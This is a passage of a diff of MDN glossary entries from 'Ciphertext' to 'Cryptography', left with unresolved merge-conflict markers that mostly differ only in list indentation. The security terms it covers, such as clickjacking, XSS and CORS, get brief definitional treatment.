+    -   _Glossary("Symmetric-key cryptography"_)
+>>>>>>> master
 
 ---
 
 ## Term: Ciphertext
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -1935,14 +2874,23 @@ They also are classified according to how their _glossary("key", "keys"_) are ha
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Ciphertext"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Ciphertext"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Class
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1950,21 +2898,37 @@ They also are classified according to how their _glossary("key", "keys"_) are ha
 
 #### See also
 
+<<<<<<< HEAD
 - [Class-based vs. prototype-based programming languages](/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#class-based_vs._prototype-based_languages) (like JavaScript)
 - [Using functions as classes in JavaScript](/en-US/docs/Learn/JavaScript/Objects#the_class)
 - [Class-based programming](https://en.wikipedia.org/wiki/Class-based_programming) on Wikipedia
 - [Object-oriented programming](https://en.wikipedia.org/wiki/Object-oriented_programming) on Wikipedia
+=======
+-   [Class-based vs. prototype-based programming languages](/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#class-based_vs._prototype-based_languages) (like JavaScript)
+-   [Using functions as classes in JavaScript](/en-US/docs/Learn/JavaScript/Objects#the_class)
+-   [Class-based programming](https://en.wikipedia.org/wiki/Class-based_programming) on Wikipedia
+-   [Object-oriented programming](https://en.wikipedia.org/wiki/Object-oriented_programming) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Clickjacking
 
+<<<<<<< HEAD
 - Clickjacking
 - Interface-based attack
 - Glossary
 - Security
 - vulnerability
 - exploit
+=======
+-   Clickjacking
+-   Interface-based attack
+-   Glossary
+-   Security
+-   vulnerability
+-   exploit
+>>>>>>> master
 
 ---
 
@@ -1974,16 +2938,27 @@ Clickjacking can be prevented by implementing a [Content Security Policy (frame-
 
 ## Learn more
 
+<<<<<<< HEAD
 - [Web security: clickjacking protection](/en-US/docs/Web/Security#clickjacking_protection)
 - [Clickjacking](https://en.wikipedia.org/wiki/Clickjacking) on Wikipedia
 - [Clickjacking](https://owasp.org/www-community/attacks/Clickjacking) on OWASP
+=======
+-   [Web security: clickjacking protection](/en-US/docs/Web/Security#clickjacking_protection)
+-   [Clickjacking](https://en.wikipedia.org/wiki/Clickjacking) on Wikipedia
+-   [Clickjacking](https://owasp.org/www-community/attacks/Clickjacking) on OWASP
+>>>>>>> master
 
 ---
 
 ## Term: Closure
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -1991,17 +2966,29 @@ Clickjacking can be prevented by implementing a [Content Security Policy (frame-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Closure_%28computer*programming%29", "Closure"*) on Wikipedia
 - [Closure](/en-US/docs/Web/JavaScript/Closures) on MDN
+=======
+-   _Interwiki("wikipedia", "Closure_%28computer*programming%29", "Closure"*) on Wikipedia
+-   [Closure](/en-US/docs/Web/JavaScript/Closures) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: CMS
 
+<<<<<<< HEAD
 - CMS
 - Composing
 - Content management system
 - Glossary
+=======
+-   CMS
+-   Composing
+-   Content management system
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2009,13 +2996,21 @@ Clickjacking can be prevented by implementing a [Content Security Policy (frame-
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Content management system"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Content management system"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Code point
 
+<<<<<<< HEAD
 - Glossary
+=======
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2025,17 +3020,29 @@ Character encoding forms, such as UTF-8 and UTF-16, determine how a Unicode code
 
 #### See also
 
+<<<<<<< HEAD
 - [The Unicode Standard: Code Points and Characters](https://www.unicode.org/versions/Unicode14.0.0/ch02.pdf#G25564)
+=======
+-   [The Unicode Standard: Code Points and Characters](https://www.unicode.org/versions/Unicode14.0.0/ch02.pdf#G25564)
+>>>>>>> master
 
 ---
 
 ## Term: Code splitting
 
+<<<<<<< HEAD
 - Glossary
 - Reference
 - Web Performance
 - code splitting
 - latency
+=======
+-   Glossary
+-   Reference
+-   Web Performance
+-   code splitting
+-   latency
+>>>>>>> master
 
 ---
 
@@ -2047,16 +3054,27 @@ Code splitting is a feature supported by bundlers like [Webpack](https://webpack
 
 #### See also
 
+<<<<<<< HEAD
 - Bundling
 - [Lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
 - [HTTP/2](/en-US/docs/Glossary/HTTP_2)
 - [Tree shaking](/en-US/docs/Glossary/Tree_shaking)
+=======
+-   Bundling
+-   [Lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+-   [HTTP/2](/en-US/docs/Glossary/HTTP_2)
+-   [Tree shaking](/en-US/docs/Glossary/Tree_shaking)
+>>>>>>> master
 
 ---
 
 ## Term: Code unit
 
+<<<<<<< HEAD
 - Glossary
+=======
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2067,6 +3085,10 @@ In UTF-16 (the encoding system used for JavaScript strings) code units are 16-bi
 For example, sometimes characters with diacritics such as accents are represented using two Unicode code points:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const myString = 'ñ';
 myString.length;
 // 2
@@ -2075,6 +3097,10 @@ myString.length;
 Also, since not all of the code points defined by Unicode fit into 16 bits, many Unicode code points are encoded as a pair of UTF-16 code units, which is called a _surrogate pair_:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const face = '🥵';
 face.length;
 // 2
@@ -2083,6 +3109,10 @@ face.length;
 The _jsxref("String/codePointAt", "codePointAt()"_) method of the JavaScript _jsxref("String"_) object enables you to retrieve the Unicode code point from its encoded form:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const face = '🥵';
 face.codePointAt(0);
 // 129397
@@ -2090,14 +3120,23 @@ face.codePointAt(0);
 
 #### See also
 
+<<<<<<< HEAD
 - [Unicode encoding FAQ](https://www.unicode.org/faq/utf_bom.html)
+=======
+-   [Unicode encoding FAQ](https://www.unicode.org/faq/utf_bom.html)
+>>>>>>> master
 
 ---
 
 ## Term: Codec
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -2105,18 +3144,31 @@ face.codePointAt(0);
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Codec"_) on Wikipedia
 - [Web video codec guide](/en-US/docs/Web/Media/Formats/Video_codecs)
 - [Web audio codec guide](/en-US/docs/Web/Media/Formats/Audio_codecs)
 - [Guide to media types and formats on the web](/en-US/docs/Web/Media/Formats)
+=======
+-   _Interwiki("wikipedia", "Codec"_) on Wikipedia
+-   [Web video codec guide](/en-US/docs/Web/Media/Formats/Video_codecs)
+-   [Web audio codec guide](/en-US/docs/Web/Media/Formats/Audio_codecs)
+-   [Guide to media types and formats on the web](/en-US/docs/Web/Media/Formats)
+>>>>>>> master
 
 ---
 
 ## Term: Compile time
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -2124,14 +3176,23 @@ face.codePointAt(0);
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Compile time"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Compile time"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Compile
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2149,18 +3210,31 @@ Compilers may also translate among higher-level languages — for example, from
 
 #### See also
 
+<<<<<<< HEAD
 - [Compiling from C/C++ to WebAssembly](/en-US/docs/WebAssembly/C_to_wasm)
 - [Compiling from Rust to WebAssembly](/en-US/docs/WebAssembly/Rust_to_wasm)
 - Wikipedia: _Interwiki("wikipedia", "Compiler"_)
+=======
+-   [Compiling from C/C++ to WebAssembly](/en-US/docs/WebAssembly/C_to_wasm)
+-   [Compiling from Rust to WebAssembly](/en-US/docs/WebAssembly/Rust_to_wasm)
+-   Wikipedia: _Interwiki("wikipedia", "Compiler"_)
+>>>>>>> master
 
 ---
 
 ## Term: Computer Programming
 
+<<<<<<< HEAD
 - CodingScripting
 - Computer Programming
 - Programming Language
 - programming
+=======
+-   CodingScripting
+-   Computer Programming
+-   Programming Language
+-   programming
+>>>>>>> master
 
 ---
 
@@ -2170,16 +3244,27 @@ Using an appropriate language, you can program/create all sorts of software. For
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Computer programming"_) on Wikipedia
 - [List of Programming Languages: Wikipedia](https://en.wikipedia.org/wiki/List_of_programming_languages)
+=======
+-   _Interwiki("wikipedia", "Computer programming"_) on Wikipedia
+-   [List of Programming Languages: Wikipedia](https://en.wikipedia.org/wiki/List_of_programming_languages)
+>>>>>>> master
 
 ---
 
 ## Term: Conditional
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2189,18 +3274,31 @@ An instruction or a set of instructions is executed if a specific condition is f
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Exception_handling#Condition_systems", "Condition"_) on Wikipedia
 - [Control flow](/en-US/docs/Glossary/Control_flow) on MDN
 - [Making decisions in your code — conditionals](/en-US/docs/Learn/JavaScript/Building_blocks/conditionals)
 - [Control flow and error handling in JavaScript](/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling) on MDN
+=======
+-   _interwiki("wikipedia", "Exception_handling#Condition_systems", "Condition"_) on Wikipedia
+-   [Control flow](/en-US/docs/Glossary/Control_flow) on MDN
+-   [Making decisions in your code — conditionals](/en-US/docs/Learn/JavaScript/Building_blocks/conditionals)
+-   [Control flow and error handling in JavaScript](/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Constant
 
+<<<<<<< HEAD
 - CodingScripting
 - Constant
 - Glossary
+=======
+-   CodingScripting
+-   Constant
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2210,14 +3308,23 @@ Like variables, some constants are bound to identifiers. For example, the identi
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Constant_(computer*programming)", "Constant"*) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Constant_(computer*programming)", "Constant"*) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Constructor
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2226,6 +3333,10 @@ Like variables, some constants are bound to identifiers. For example, the identi
 ## Syntax
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // This is a generic default constructor class Default
 function Default() {
 }
@@ -2240,9 +3351,14 @@ To call the constructor of the class in JavaScript, use a `new` operator to assi
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function Default() {}
 
@@ -2253,16 +3369,27 @@ var defaultReference = new Default();
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Constructor_%28object-oriented*programming%29", "Constructor"*) on Wikipedia
 - [The constructor in object oriented programming for JavaScript](/en-US/docs/Learn/JavaScript/Objects#the_constructor) on MDN
 - [New operator in JavaScript](/en-US/docs/Web/JavaScript/Reference/Operators/new) on MDN
+=======
+-   _Interwiki("wikipedia", "Constructor_%28object-oriented*programming%29", "Constructor"*) on Wikipedia
+-   [The constructor in object oriented programming for JavaScript](/en-US/docs/Learn/JavaScript/Objects#the_constructor) on MDN
+-   [New operator in JavaScript](/en-US/docs/Web/JavaScript/Reference/Operators/new) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Continuous Media
 
+<<<<<<< HEAD
 - Glossary
 - Media
+=======
+-   Glossary
+-   Media
+>>>>>>> master
 
 ---
 
@@ -2276,9 +3403,15 @@ Continuous Media, therefore, identifies a context where the content is not broke
 
 ## Term: Control flow
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -2302,16 +3435,27 @@ Control flow means that when you read a script, you must not only read from star
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Control flow"_) on Wikipedia
 - [JavaScript Reference - Control flow](/en-US/docs/Web/JavaScript/Reference#control_flow) on MDN
 - [Statements (Control flow)](/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling) on MDN
+=======
+-   _Interwiki("wikipedia", "Control flow"_) on Wikipedia
+-   [JavaScript Reference - Control flow](/en-US/docs/Web/JavaScript/Reference#control_flow) on MDN
+-   [Statements (Control flow)](/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling) on MDN
+>>>>>>> master
 
 ---
 
 ## Term: Cookie
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -2323,16 +3467,27 @@ Cookies can be set and modified at the server level using the `Set-Cookie` [HTTP
 
 #### See also
 
+<<<<<<< HEAD
 - [HTTP cookie](https://en.wikipedia.org/wiki/HTTP_cookie) on Wikipedia
+=======
+-   [HTTP cookie](https://en.wikipedia.org/wiki/HTTP_cookie) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Copyleft
 
+<<<<<<< HEAD
 - Glossary
 - OpenPractices
 - Remixing
 - Sharing
+=======
+-   Glossary
+-   OpenPractices
+-   Remixing
+-   Sharing
+>>>>>>> master
 
 ---
 
@@ -2340,23 +3495,39 @@ Cookies can be set and modified at the server level using the `Set-Cookie` [HTTP
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Copyleft"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Copyleft"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: CORS-safelisted request header
 
+<<<<<<< HEAD
 - CORS
 - Fetch
+=======
+-   CORS
+-   Fetch
+>>>>>>> master
 
 ---
 
 > A [CORS-safelisted request header](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) is one of the following [HTTP headers](/en-US/docs/Web/HTTP/Headers):
 
+<<<<<<< HEAD
 - _HTTPHeader("Accept"_),
 - _HTTPHeader("Accept-Language"_),
 - _HTTPHeader("Content-Language"_),
 - _HTTPHeader("Content-Type"_).
+=======
+-   _HTTPHeader("Accept"_),
+-   _HTTPHeader("Accept-Language"_),
+-   _HTTPHeader("Content-Language"_),
+-   _HTTPHeader("Content-Type"_).
+>>>>>>> master
 
 When containing only these headers (and values that meet the additional requirements laid out below), a requests doesn't need to send a _glossary("preflight request"_) in the context of [CORS](/en-US/docs/Glossary/CORS).
 
@@ -2366,6 +3537,7 @@ You can safelist more headers using the _HTTPHeader("Access-Control-Allow-Header
 
 CORS-safelisted headers must also fulfill the following requirements in order to be a CORS-safelisted request header:
 
+<<<<<<< HEAD
 - For _HTTPHeader("Accept-Language"_) and _HTTPHeader("Content-Language"_): can only have values consisting of `0-9`, `A-Z`, `a-z`, space or `*,-.;=`.
 - For _HTTPHeader("Accept"_) and _HTTPHeader("Content-Type"_): can't contain a _CORS-unsafe request header byte_: `0x00-0x1F` (except for `0x09 (HT)`, which is allowed), `"():<>?@[\]{}`, and `0x7F (DEL)`.
 - For _HTTPHeader("Content-Type"_): needs to have a MIME type of its parsed value (ignoring parameters) of either `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`.
@@ -2376,15 +3548,34 @@ CORS-safelisted headers must also fulfill the following requirements in order to
 - _Glossary("CORS-safelisted response header"_)
 - _Glossary("Forbidden header name"_)
 - _Glossary("Request header"_)
+=======
+-   For _HTTPHeader("Accept-Language"_) and _HTTPHeader("Content-Language"_): can only have values consisting of `0-9`, `A-Z`, `a-z`, space or `*,-.;=`.
+-   For _HTTPHeader("Accept"_) and _HTTPHeader("Content-Type"_): can't contain a _CORS-unsafe request header byte_: `0x00-0x1F` (except for `0x09 (HT)`, which is allowed), `"():<>?@[\]{}`, and `0x7F (DEL)`.
+-   For _HTTPHeader("Content-Type"_): needs to have a MIME type of its parsed value (ignoring parameters) of either `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`.
+-   For any header: the value's length can't be greater than 128.
+
+#### See also
+
+-   _Glossary("CORS-safelisted response header"_)
+-   _Glossary("Forbidden header name"_)
+-   _Glossary("Request header"_)
+>>>>>>> master
 
 ---
 
 ## Term: CORS-safelisted response header
 
+<<<<<<< HEAD
 - CORS
 - Fetch
 - Glossary
 - HTTP
+=======
+-   CORS
+-   Fetch
+-   Glossary
+-   HTTP
+>>>>>>> master
 
 ---
 
@@ -2392,6 +3583,7 @@ CORS-safelisted headers must also fulfill the following requirements in order to
 
 By default, the safelist includes the following response headers:
 
+<<<<<<< HEAD
 - _HTTPHeader("Cache-Control"_)
 - _HTTPHeader("Content-Language"_)
 - _HTTPHeader("Content-Length"_)
@@ -2399,6 +3591,15 @@ By default, the safelist includes the following response headers:
 - _HTTPHeader("Expires"_)
 - _HTTPHeader("Last-Modified"_)
 - _HTTPHeader("Pragma"_)
+=======
+-   _HTTPHeader("Cache-Control"_)
+-   _HTTPHeader("Content-Language"_)
+-   _HTTPHeader("Content-Length"_)
+-   _HTTPHeader("Content-Type"_)
+-   _HTTPHeader("Expires"_)
+-   _HTTPHeader("Last-Modified"_)
+-   _HTTPHeader("Pragma"_)
+>>>>>>> master
 
 Additional headers can be added to the safelist using _HTTPHeader("Access-Control-Expose-Headers"_).
 
@@ -2416,6 +3617,7 @@ Access-Control-Expose-Headers: X-Custom-Header, Content-Encoding
 
 #### See also
 
+<<<<<<< HEAD
 - [HTTP](/en-US/docs/Web/HTTP)
 - [HTTP headers](/en-US/docs/Web/HTTP/Headers)
 - _HTTPHeader("Access-Control-Expose-Headers"_)
@@ -2425,14 +3627,31 @@ Access-Control-Expose-Headers: X-Custom-Header, Content-Encoding
     - _Glossary("CORS-safelisted_request_header", "CORS-safelisted request header"_)
     - _Glossary("Forbidden header name"_)
     - _Glossary("Request header"_)
+=======
+-   [HTTP](/en-US/docs/Web/HTTP)
+-   [HTTP headers](/en-US/docs/Web/HTTP/Headers)
+-   _HTTPHeader("Access-Control-Expose-Headers"_)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("CORS"_)
+    -   _Glossary("CORS-safelisted_request_header", "CORS-safelisted request header"_)
+    -   _Glossary("Forbidden header name"_)
+    -   _Glossary("Request header"_)
+>>>>>>> master
 
 ---
 
 ## Term: CORS
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Security
+=======
+-   Glossary
+-   Infrastructure
+-   Security
+>>>>>>> master
 
 ---
 
@@ -2442,6 +3661,7 @@ The [same-origin security policy](/en-US/docs/Web/Security/Same-origin_policy) f
 
 #### See also
 
+<<<<<<< HEAD
 - [Cross-Origin Resource Sharing (CORS)](/en-US/docs/Web/HTTP/CORS) on MDN
 - _Interwiki("wikipedia", "Cross-origin resource sharing"_) on Wikipedia
 - [Fetch specification](https://fetch.spec.whatwg.org)
@@ -2466,15 +3686,48 @@ The [same-origin security policy](/en-US/docs/Web/Security/Same-origin_policy) f
     - : Used when issuing a preflight request to let the server know which [HTTP method](/en-US/docs/Web/HTTP/Methods) will be used when the actual request is made.
 - _HTTPHeader("Origin"_)
     - : Indicates where a fetch originates from.
+=======
+-   [Cross-Origin Resource Sharing (CORS)](/en-US/docs/Web/HTTP/CORS) on MDN
+-   _Interwiki("wikipedia", "Cross-origin resource sharing"_) on Wikipedia
+-   [Fetch specification](https://fetch.spec.whatwg.org)
+
+### CORS headers
+
+-   _HTTPHeader("Access-Control-Allow-Origin"_)
+-   -   : Indicates whether the response can be shared.
+-   _HTTPHeader("Access-Control-Allow-Credentials"_)
+-   -   : Indicates whether or not the response to the request can be exposed when the credentials flag is true.
+-   _HTTPHeader("Access-Control-Allow-Headers"_)
+-   -   : Used in response to a preflight request to indicate which HTTP headers can be used when making the actual reques
+-   _HTTPHeader("Access-Control-Allow-Methods"_)
+-   -   : Specifies the method or methods allowed when accessing the resource in response to a preflight request.
+-   _HTTPHeader("Access-Control-Expose-Headers"_)
+    -   : Indicates which headers can be exposed as part of the response by listing their names.
+-   _HTTPHeader("Access-Control-Max-Age"_)
+    -   : Indicates how long the results of a preflight request can be cached.
+-   _HTTPHeader("Access-Control-Request-Headers"_)
+    -   : Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.
+-   _HTTPHeader("Access-Control-Request-Method"_)
+    -   : Used when issuing a preflight request to let the server know which [HTTP method](/en-US/docs/Web/HTTP/Methods) will be used when the actual request is made.
+-   _HTTPHeader("Origin"_)
+    -   : Indicates where a fetch originates from.
+>>>>>>> master
 
 ---
 
 ## Term: Crawler
 
+<<<<<<< HEAD
 - Browser
 - Crawler
 - Glossary
 - Infrastructure
+=======
+-   Browser
+-   Crawler
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -2482,13 +3735,19 @@ The [same-origin security policy](/en-US/docs/Web/Security/Same-origin_policy) f
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Web crawler"_) on Wikipedia
 - _Glossary("Search engine"_) (Glossary)
+=======
+-   _Interwiki("wikipedia", "Web crawler"_) on Wikipedia
+-   _Glossary("Search engine"_) (Glossary)
+>>>>>>> master
 
 ---
 
 ## Term: CRLF
 
+<<<<<<< HEAD
 - CR
 - CRLF
 - Glossary
@@ -2496,31 +3755,59 @@ The [same-origin security policy](/en-US/docs/Web/Security/Same-origin_policy) f
 - LF
 - carriage return
 - line feed
+=======
+-   CR
+-   CRLF
+-   Glossary
+-   Infrastructure
+-   LF
+-   carriage return
+-   line feed
+>>>>>>> master
 
 ---
 
 > CR and LF are [control characters](https://en.wikipedia.org/wiki/Control_character) or [bytecode](https://en.wikipedia.org/wiki/Bytecode) that can be used to mark a line break in a text file.
 
+<<<<<<< HEAD
 - CR = **Carriage Return** (`\r`, `0x0D` in hexadecimal, 13 in decimal) — moves the cursor to the beginning of the line without advancing to the next line.
 - LF = **Line Feed** (`\n`, `0x0A` in hexadecimal, 10 in decimal) — moves the cursor down to the next line without returning to the beginning of the line.
+=======
+-   CR = **Carriage Return** (`\r`, `0x0D` in hexadecimal, 13 in decimal) — moves the cursor to the beginning of the line without advancing to the next line.
+-   LF = **Line Feed** (`\n`, `0x0A` in hexadecimal, 10 in decimal) — moves the cursor down to the next line without returning to the beginning of the line.
+>>>>>>> master
 
 A CR immediately followed by a LF (CRLF, `\r\n`, or `0x0D0A`) moves the cursor down to the next line and then to the beginning of the line.
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Newline#In_programming_languages", "Newline"_) on Wikipedia
 - _interwiki("wikipedia", "Carriage_return#Computers", "Carriage return"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Newline#In_programming_languages", "Newline"_) on Wikipedia
+-   _interwiki("wikipedia", "Carriage_return#Computers", "Carriage return"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Cross-site scripting
 
+<<<<<<< HEAD
 - Cross Site Scripting
 - DOM
 - Glossary
 - Security
 - XSS
 - exploit
+=======
+-   Cross Site Scripting
+-   DOM
+-   Glossary
+-   Security
+-   XSS
+-   exploit
+>>>>>>> master
 
 ---
 
@@ -2530,20 +3817,35 @@ These attacks succeed if the Web app does not employ enough validation or encodi
 
 #### See also
 
+<<<<<<< HEAD
 - [Cross-site scripting (XSS)](/en-US/docs/Web/Security/Types_of_attacks#cross-site_scripting_xss)
 - _Interwiki("wikipedia", "Cross-site scripting"_) on Wikipedia
 - [Cross-site scripting on OWASP](https://owasp.org/www-community/attacks/xss/)
 - [Another article about Cross-site scripting](https://www.acunetix.com/blog/web-security-zone/articles/dom-xss-explained/)
 - [XSS Attack - Exploit & Protection](https://secure.wphackedhelp.com/blog/wordpress-xss-attack/)
+=======
+-   [Cross-site scripting (XSS)](/en-US/docs/Web/Security/Types_of_attacks#cross-site_scripting_xss)
+-   _Interwiki("wikipedia", "Cross-site scripting"_) on Wikipedia
+-   [Cross-site scripting on OWASP](https://owasp.org/www-community/attacks/xss/)
+-   [Another article about Cross-site scripting](https://www.acunetix.com/blog/web-security-zone/articles/dom-xss-explained/)
+-   [XSS Attack - Exploit & Protection](https://secure.wphackedhelp.com/blog/wordpress-xss-attack/)
+>>>>>>> master
 
 ---
 
 ## Term: Cross Axis
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - cross axis
 - flexbox
+=======
+-   CSS
+-   Glossary
+-   cross axis
+-   flexbox
+>>>>>>> master
 
 ---
 
@@ -2561,6 +3863,7 @@ Alignment of items on the cross axis is achieved with the `align-items` property
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("align-content"_)
 - _cssxref("align-items"_)
 - _cssxref("align-self"_)
@@ -2585,13 +3888,44 @@ Alignment of items on the cross axis is achieved with the `align-items` property
     - _Glossary("Flex Container"_)
     - _Glossary("Flex Item"_)
     - _Glossary("Grid"_)
+=======
+-   _cssxref("align-content"_)
+-   _cssxref("align-items"_)
+-   _cssxref("align-self"_)
+-   _cssxref("flex-wrap"_)
+-   _cssxref("flex-direction"_)
+-   _cssxref("flex"_)
+-   _cssxref("flex-basis"_)
+-   _cssxref("flex-flow"_)
+-   _cssxref("flex-grow"_)
+-   _cssxref("flex-shrink"_)
+-   _cssxref("justify-content"_)
+-   _cssxref("order"_)
+
+### Further reading
+
+-   CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
+-   CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
+-   CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Flex"_)
+    -   _Glossary("Flex Container"_)
+    -   _Glossary("Flex Item"_)
+    -   _Glossary("Grid"_)
+>>>>>>> master
 
 ---
 
 ## Term: CRUD
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -2599,16 +3933,27 @@ Alignment of items on the cross axis is achieved with the `align-items` property
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "CRUD"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "CRUD"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Cryptanalysis
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -2616,15 +3961,25 @@ Alignment of items on the cross axis is achieved with the `align-items` property
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Cryptanalysis"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Cryptanalysis"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Cryptographic hash function
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -2632,28 +3987,49 @@ Alignment of items on the cross axis is achieved with the `align-items` property
 
 To be used for cryptography, a hash function must have these qualities:
 
+<<<<<<< HEAD
 - quick to compute (because they are generated frequently)
 - not invertible (each digest could come from a very large number of messages, and only brute-force can generate a message that leads to a given digest)
 - tamper-resistant (any change to a message leads to a different digest)
 - collision-resistant (it should be impossible to find two different messages that produce the same digest)
+=======
+-   quick to compute (because they are generated frequently)
+-   not invertible (each digest could come from a very large number of messages, and only brute-force can generate a message that leads to a given digest)
+-   tamper-resistant (any change to a message leads to a different digest)
+-   collision-resistant (it should be impossible to find two different messages that produce the same digest)
+>>>>>>> master
 
 Cryptographic hash functions such as MD5 and SHA-1 are considered broken, as attacks have been found that significantly reduce their collision resistance.
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Cryptographic hash function", "Cryptographic hash function"_) on Wikipedia
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Symmetric-key cryptography"_)
+=======
+-   _interwiki("wikipedia", "Cryptographic hash function", "Cryptographic hash function"_) on Wikipedia
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Symmetric-key cryptography"_)
+>>>>>>> master
 
 ---
 
 ## Term: Cryptography
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -2663,6 +4039,7 @@ More than just **data confidentiality**, cryptography also tackles **identificat
 
 #### See also
 
+<<<<<<< HEAD
